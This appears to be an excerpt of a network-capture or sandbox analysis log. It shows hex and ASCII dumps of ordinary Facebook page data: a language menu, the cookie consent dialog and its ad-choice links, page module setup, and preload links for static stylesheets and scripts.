2022-09-09 16:00:39 UTC	345	IN	Data Raw: 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6b 5f 59 51 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 31 30 63 65 5c 75 30 31 36 31 74 69 6e 61 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 65 6c 5f 47 52 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6c 5f 30 46 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 Data Ascii: "markup":{"__m":"__markup_3310c079_0_k_YQ"},"label":"\u010ce\u0161tina","title":"","className":"headerItem"},{"class":"headerItem","value":"el_GR","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_l_0F"},"label":"\u
2022-09-09 16:00:39 UTC	347	IN	Data Raw: 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 72 5f 51 59 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 35 33 66 30 5c 75 37 30 36 33 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 7a 68 5f 43 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 Data Ascii: e,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_r_QY"},"label":"\u4e2d\u6587(\u53f0\u7063)","title":"","className":"headerItem"},{"class":"headerItem","value":"zh_CN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup"
2022-09-09 16:00:39 UTC	348	IN	Data Raw: 7b 22 5f 5f 6d 22 3a 22 4c 61 79 65 72 46 61 64 65 4f 6e 48 69 64 65 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 44 69 61 6c 6f 67 48 69 64 65 4f 6e 53 75 63 63 65 73 73 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 4c 61 79 65 72 52 65 6d 6f 76 65 4f 6e 48 69 64 65 22 7d 5d 2c 22 61 74 74 72 69 62 75 74 65 73 22 3a 7b 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 2d 6d 61 6e 61 67 65 2d 64 69 61 6c 6f 67 22 7d 2c 22 63 6c 61 73 73 4e 61 6d 65 73 22 3a 5b 22 5f 39 6f 2d 77 22 5d 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 34 43 22 7d 5d 2c 32 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 35 61 64 32 34 33 Data Ascii: {"__m":"LayerFadeOnHide"},{"__m":"DialogHideOnSuccess"},{"__m":"LayerHideOnTransition"},{"__m":"LayerRemoveOnHide"}],"attributes":{"data-testid":"cookie-policy-manage-dialog"},"classNames":["_9o-w"]},{"__m":"__markup_9f5fac15_0_0_4C"}],2],["__inst_e5ad243
2022-09-09 16:00:39 UTC	350	IN	Data Raw: 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 35 35 70 65 5c 22 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 69 64 3d 5c 22 63 6f 6f 6b 69 65 5f 62 61 6e 6e 65 72 5f 74 69 74 6c 65 5c 22 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 64 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 69 64 3d 5c 22 63 6f 6e 73 65 6e 74 5f 63 6f 6f 6b 69 65 73 5f 74 69 74 6c 65 5c 22 3e 41 6c 6c 6f 77 20 74 68 65 20 75 73 65 20 6f 66 20 63 6f 6f 6b 69 65 73 20 66 72 6f 6d 20 46 61 63 65 62 6f 6f 6b 20 6f 6e 20 74 68 69 73 20 62 72 6f 77 73 65 72 3f 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 Data Ascii: \/span>\u003Cspan class=\"_55pe\">\u003C\/span>\u003C\/a>\u003C\/div>\u003C\/div>\u003Cdiv id=\"cookie_banner_title\" class=\"_9o-d\">\u003Cdiv id=\"consent_cookies_title\">Allow the use of cookies from Facebook on this browser?\u003C\/div>\u003C\/div>\u0
2022-09-09 16:00:39 UTC	351	IN	Data Raw: 20 63 68 61 6e 67 65 20 79 6f 75 72 20 63 68 6f 69 63 65 20 61 74 20 61 6e 79 20 74 69 6d 65 20 69 6e 20 6f 75 72 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 70 6f 6c 69 63 69 65 73 5c 2f 63 6f 6f 6b 69 65 73 5c 2f 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 76 5c 22 20 69 64 3d 5c 22 63 70 6e 2d 70 76 2d 6c 69 6e 6b 5c 22 3e 43 6f 6f 6b 69 65 20 50 6f 6c 69 63 79 5c 75 30 30 33 43 5c 2f 61 3e 2e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 70 76 5c 22 3e 5c 75 30 30 Data Ascii: change your choice at any time in our \u003Ca href=\"https:\/\/www.facebook.com\/policies\/cookies\/\" target=\"_blank\" class=\"_9o-v\" id=\"cpn-pv-link\">Cookie Policy\u003C\/a>.\u003C\/div>\u003C\/div>\u003Cdiv>\u003Cdiv>\u003Cdiv class=\"_9xpv\">\u00
2022-09-09 16:00:39 UTC	353	IN	Data Raw: 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 73 65 74 74 69 6e 67 73 5c 2f 61 64 73 5c 2f 5c 22 3e 61 64 20 73 65 74 74 69 6e 67 73 5c 75 30 30 33 43 5c 2f 61 3e 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 54 68 65 20 46 61 63 65 62 6f 6f 6b 20 41 75 64 69 65 6e 63 65 20 4e 65 74 77 6f 72 6b 20 69 73 20 61 20 77 61 79 20 66 6f 72 20 61 64 76 65 72 74 69 73 65 72 73 20 74 6f 20 73 68 6f 77 20 79 6f 75 20 61 64 73 20 69 6e 20 61 70 70 73 20 61 6e 64 20 77 65 62 73 69 74 65 73 20 6f 66 66 20 74 68 65 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 68 65 6c 70 5c 2f 31 39 35 32 Data Ascii: https:\/\/www.facebook.com\/settings\/ads\/\">ad settings\u003C\/a>.\u003C\/p>\u003Cp class=\"_9o-m\">The Facebook Audience Network is a way for advertisers to show you ads in apps and websites off the \u003Ca href=\"https:\/\/www.facebook.com\/help\/1952
2022-09-09 16:00:39 UTC	354	IN	Data Raw: 74 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 76 74 67 5c 22 20 69 64 3d 5c 22 75 5f 30 5f 61 5f 4e 50 5c 22 3e 5c 75 30 30 33 43 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 64 20 5f 39 6e 67 65 5c 22 20 74 69 74 6c 65 3d 5c 22 65 78 70 61 6e 64 61 62 6c 65 20 73 65 63 74 69 6f 6e 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 63 5c 22 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 66 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6c 5c 22 3e Data Ascii: t.\u003C\/p>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv>\u003Cdiv class=\"_9vtg\" id=\"u_0_a_NP\">\u003Cbutton class=\"_9ngd _9nge\" title=\"expandable section\">\u003Cdiv class=\"_9ngc\">\u003Cspan class=\"_9ngf\">\u003Cdiv class=\"_9o-l\">
2022-09-09 16:00:39 UTC	355	IN	Data Raw: 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 32 74 2d 66 44 53 65 30 56 37 61 75 39 62 64 42 6f 4f 4e 5a 39 68 58 36 68 57 34 41 66 5a 76 62 44 59 69 65 6f 41 74 70 31 4e 6b 31 30 6b 56 37 6b 32 4d 51 6f 49 50 47 42 4c 75 58 69 48 6b 71 42 4e 45 51 31 78 59 50 4f 6b 33 47 59 41 53 50 4c 49 69 74 36 31 33 46 74 5f 47 57 74 78 37 4b 4f 52 6a 71 45 33 67 4a 6b 56 4b 70 30 30 38 57 33 50 4a 5f 73 5f 69 49 43 76 71 42 5a 46 31 76 61 5a 78 61 4b 4f 70 52 72 4b 39 4f 72 47 61 5a 78 42 53 51 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 45 75 72 6f 70 65 61 6e 20 49 6e 74 65 72 61 63 74 69 76 65 20 44 69 67 69 74 61 Data Ascii: \u00252F&h=AT2t-fDSe0V7au9bdBoONZ9hX6hW4AfZvbDYieoAtp1Nk10kV7k2MQoIPGBLuXiHkqBNEQ1xYPOk3GYASPLIit613Ft_GWtx7KORjqE3gJkVKp008W3PJ_s_iICvqBZF1vaZxaKOpRrK9OrGaZxBSQ\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">European Interactive Digita
2022-09-09 16:00:39 UTC	357	IN	Data Raw: 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 44 69 67 69 74 61 6c 20 41 64 76 65 72 74 69 73 69 6e 67 20 41 6c 6c 69 61 6e 63 65 20 6f 66 20 43 61 6e 61 64 61 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 77 77 77 2e 79 6f 75 72 6f 6e 6c 69 6e 65 63 68 6f 69 63 65 73 2e 63 6f 6d 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 30 53 39 58 61 6b 6f 32 56 71 39 5f 58 69 69 6a 6e 79 71 4d 63 37 49 59 64 4e 6e 6c 79 6b 7a 34 6f 41 6e 6e 46 53 74 46 4b Data Ascii: data-lynx-mode=\"hover\">Digital Advertising Alliance of Canada\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fwww.youronlinechoices.com\u00252F&h=AT0S9Xako2Vq9_XiijnyqMc7IYdNnlykz4oAnnFStFK
2022-09-09 16:00:39 UTC	358	IN	Data Raw: 20 74 68 65 73 65 20 63 6f 6e 74 72 6f 6c 73 20 61 72 65 20 64 69 73 74 69 6e 63 74 20 66 72 6f 6d 20 74 68 65 20 63 6f 6e 74 72 6f 6c 73 20 74 68 61 74 20 46 61 63 65 62 6f 6f 6b 20 6f 66 66 65 72 73 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 75 6c 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 71 5c 22 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 73 75 70 70 6f 72 74 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 5c 75 30 30 32 35 32 46 63 68 72 6f 6d 65 5c 75 30 30 32 35 32 46 61 6e 73 77 65 72 5c 75 30 30 32 35 32 46 39 35 36 34 37 26 61 6d 70 3b 68 Data Ascii: these controls are distinct from the controls that Facebook offers.\u003C\/p>\u003Cul class=\"_9o-q\">\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fsupport.google.com\u00252Fchrome\u00252Fanswer\u00252F95647&h
2022-09-09 16:00:39 UTC	360	IN	Data Raw: 30 32 35 32 46 65 6e 2d 69 65 5c 75 30 30 32 35 32 46 67 75 69 64 65 5c 75 30 30 32 35 32 46 73 61 66 61 72 69 5c 75 30 30 32 35 32 46 73 66 72 69 31 31 34 37 31 5c 75 30 30 32 35 32 46 6d 61 63 26 61 6d 70 3b 68 3d 41 54 31 4d 78 5f 65 72 71 6f 69 74 39 73 71 6c 48 63 62 52 39 47 45 64 69 34 57 4f 4b 64 4e 6f 68 68 38 50 6c 4d 44 4a 54 71 58 35 6a 49 4e 37 75 69 56 41 53 65 33 55 50 44 49 73 62 5f 58 78 34 79 44 37 53 6b 58 56 34 78 79 32 57 61 43 6b 74 45 34 6f 78 70 4f 56 68 38 68 64 5f 37 6f 4e 46 68 6b 37 55 4c 63 6b 5f 49 4e 62 64 46 42 4e 79 50 6a 43 42 58 72 68 35 37 46 6a 5f 61 4b 74 50 34 51 35 33 67 6e 57 70 74 66 67 32 42 63 4d 72 45 47 58 64 41 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c Data Ascii: 0252Fen-ie\u00252Fguide\u00252Fsafari\u00252Fsfri11471\u00252Fmac&h=AT1Mx_erqoit9sqlHcbR9GEdi4WOKdNohh8PlMDJTqX5jIN7uiVASe3UPDIsb_Xx4yD7SkXV4xy2WaCktE4oxpOVh8hd_7oNFhk7ULck_INbdFBNyPjCBXrh57Fj_aKtP4Q53gnWptfg2BcMrEGXdA\" target=\"_blank\" rel=\"nofoll
2022-09-09 16:00:39 UTC	361	IN	Data Raw: 5f 63 5f 39 52 5c 22 3e 4f 6e 6c 79 20 61 6c 6c 6f 77 20 65 73 73 65 6e 74 69 61 6c 20 63 6f 6f 6b 69 65 73 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 62 75 74 74 6f 6e 20 76 61 6c 75 65 3d 5c 22 31 5c 22 20 63 6c 61 73 73 3d 5c 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 39 78 6f 37 20 5f 34 6a 79 33 20 5f 34 6a 79 31 20 73 65 6c 65 63 74 65 64 20 5f 35 31 73 79 5c 22 20 64 61 74 61 2d 63 6f 6f 6b 69 65 62 61 6e 6e 65 72 3d 5c 22 61 63 63 65 70 74 5f 62 75 74 74 6f 6e 5c 22 20 64 61 74 61 2d 74 65 73 74 69 64 3d 5c 22 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 2d 6d 61 6e 61 67 65 2d 64 69 61 6c 6f 67 2d 61 63 63 65 70 74 2d 62 75 74 74 6f 6e 5c 22 20 74 69 74 6c 65 3d 5c 22 41 6c 6c 6f 77 20 65 73 73 65 6e 74 69 61 6c 20 61 6e 64 20 6f 70 Data Ascii: _c_9R\">Only allow essential cookies\u003C\/button>\u003Cbutton value=\"1\" class=\"_42ft _4jy0 _9xo7 _4jy3 _4jy1 selected _51sy\" data-cookiebanner=\"accept_button\" data-testid=\"cookie-policy-manage-dialog-accept-button\" title=\"Allow essential and op
2022-09-09 16:00:39 UTC	363	IN	Data Raw: 31 65 63 37 74 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6a 5f 77 62 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 54 5c 75 30 30 66 63 72 6b 5c 75 30 30 65 37 65 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6b 5f 59 51 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 30 31 30 63 65 5c 75 30 31 36 31 74 69 6e 61 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6c 5f 30 46 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 30 33 39 35 5c 75 30 33 62 62 5c 75 30 33 62 62 5c 75 30 33 62 37 5c 75 30 33 62 64 5c 75 30 33 62 39 5c 75 30 33 62 61 5c 75 30 33 61 63 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6d 5f 2b 78 22 2c Data Ascii: 1ec7t"},1],["__markup_3310c079_0_j_wb",{"__html":"T\u00fcrk\u00e7e"},1],["__markup_3310c079_0_k_YQ",{"__html":"\u010ce\u0161tina"},1],["__markup_3310c079_0_l_0F",{"__html":"\u0395\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03ac"},1],["__markup_3310c079_0_m_+x",
2022-09-09 16:00:39 UTC	364	IN	Data Raw: 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 2b 58 22 2c 22 75 5f 30 5f 37 5f 6a 39 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 34 43 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 4e 32 22 2c 22 75 5f 30 5f 38 5f 6c 49 22 2c 33 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 34 43 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 34 5f 75 43 22 2c 22 75 5f 30 5f 39 5f 74 69 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 34 43 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 35 5f 41 68 22 2c 22 75 5f 30 5f 61 5f 4e 50 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 Data Ascii: ],["__elem_1de146dc_0_0_+X","u_0_7_j9",1,"__markup_9f5fac15_0_0_4C"],["__elem_ec77afbd_0_0_N2","u_0_8_lI",3,"__markup_9f5fac15_0_0_4C"],["__elem_a588f507_0_4_uC","u_0_9_ti",1,"__markup_9f5fac15_0_0_4C"],["__elem_a588f507_0_5_Ah","u_0_a_NP",1,"__markup_9f5
2022-09-09 16:00:39 UTC	366	IN	Data Raw: 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 Data Ascii: s\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()
2022-09-09 16:00:39 UTC	367	IN	Data Raw: 30 5f 78 45 22 7d 2c 22 46 61 63 65 62 6f 6f 6b 22 2c 66 61 6c 73 65 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 31 5f 56 57 22 7d 5d 5d 2c 5b 22 41 73 79 6e 63 52 65 71 75 65 73 74 4e 65 63 74 61 72 4c 6f 67 67 69 6e 67 22 5d 2c 5b 22 46 6f 75 72 4f 68 46 6f 75 72 4a 53 4c 6f 67 67 65 72 22 2c 22 6c 6f 67 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 49 6e 74 6c 55 74 69 6c 73 22 5d 2c 5b 22 46 42 4c 79 6e 78 22 2c 22 73 65 74 75 70 44 65 6c 65 67 61 74 69 6f 6e 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 4c 6f 67 69 6e 62 61 72 50 6f 70 6f 76 65 72 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 39 34 63 31 35 33 38 35 5f 30 5f 30 5f 39 43 22 2c 22 5f 5f 65 6c 65 6d 5f 30 37 32 62 38 65 36 34 5f 30 5f 30 5f 49 33 22 2c 22 5f 5f 65 6c Data Ascii: 0_xE"},"Facebook",false,{"__m":"__elem_45d73b5d_0_1_VW"}]],["AsyncRequestNectarLogging"],["FourOhFourJSLogger","log",[],[]],["IntlUtils"],["FBLynx","setupDelegation",[],[]],["LoginbarPopover","init",["__elem_94c15385_0_0_9C","__elem_072b8e64_0_0_I3","__el
2022-09-09 16:00:39 UTC	369	IN	Data Raw: 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 36 5f 58 43 22 7d 2c 22 5f 39 6e 67 62 22 2c 22 2e 5f 39 6e 67 61 22 2c 22 2e 5f 39 6e 67 64 22 2c 22 2e 5f 39 6e 67 67 22 5d 5d 2c 5b 22 41 6e 69 6d 61 74 69 6f 6e 22 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 72 65 64 52 65 66 65 72 65 6e 63 65 22 2c 22 75 6e 62 6c 6f 63 6b 22 2c 5b 5d 2c 5b 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 2c 22 41 6e 69 6d 61 74 69 6f 6e 22 5d 2c 22 73 64 22 5d 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 72 65 64 52 65 66 65 72 65 6e Data Ascii: "],[{"__m":"__elem_a588f507_0_6_XC"},"_9ngb","._9nga","._9ngd","._9ngg"]],["Animation"],["RequireDeferredReference","unblock",[],[["FbtLogging","IntlQtEventFalcoEvent","BanzaiScuba_DEPRECATED","PageTransitions","Animation"],"sd"]],["RequireDeferredReferen
2022-09-09 16:00:39 UTC	370	IN	Data Raw: 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6b 2f 6c 2f 30 2c 63 72 6f 73 73 2f 34 63 4d 34 50 32 51 57 32 45 75 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 69 2f 72 2f 4b 34 64 55 4f 37 5a 69 30 64 37 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 Data Ascii: ?_nc_x=Ij3Wp8lg5Kz" as="style" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yk/l/0,cross/4cM4P2QW2Eu.css?_nc_x=Ij3Wp8lg5Kz" as="style" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yi/r/K4dUO7Zi0d7.js?_nc_x=I
2022-09-09 16:00:39 UTC	371	IN	Data Raw: 63 2e 70 68 70 2f 76 33 2f 79 72 2f 72 2f 4d 2d 32 34 6b 57 63 4f 74 31 61 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 42 35 56 6f 41 6b 6a 71 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 76 2f 72 2f 54 43 68 6f 2d 61 43 35 64 4c 4f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 42 35 56 6f 41 6b 6a 71 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 Data Ascii: c.php/v3/yr/r/M-24kWcOt1a.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="B5VoAkjq" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yv/r/TCho-aC5dLO.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="B5VoAkjq" /><link rel="preload" href="https://stat
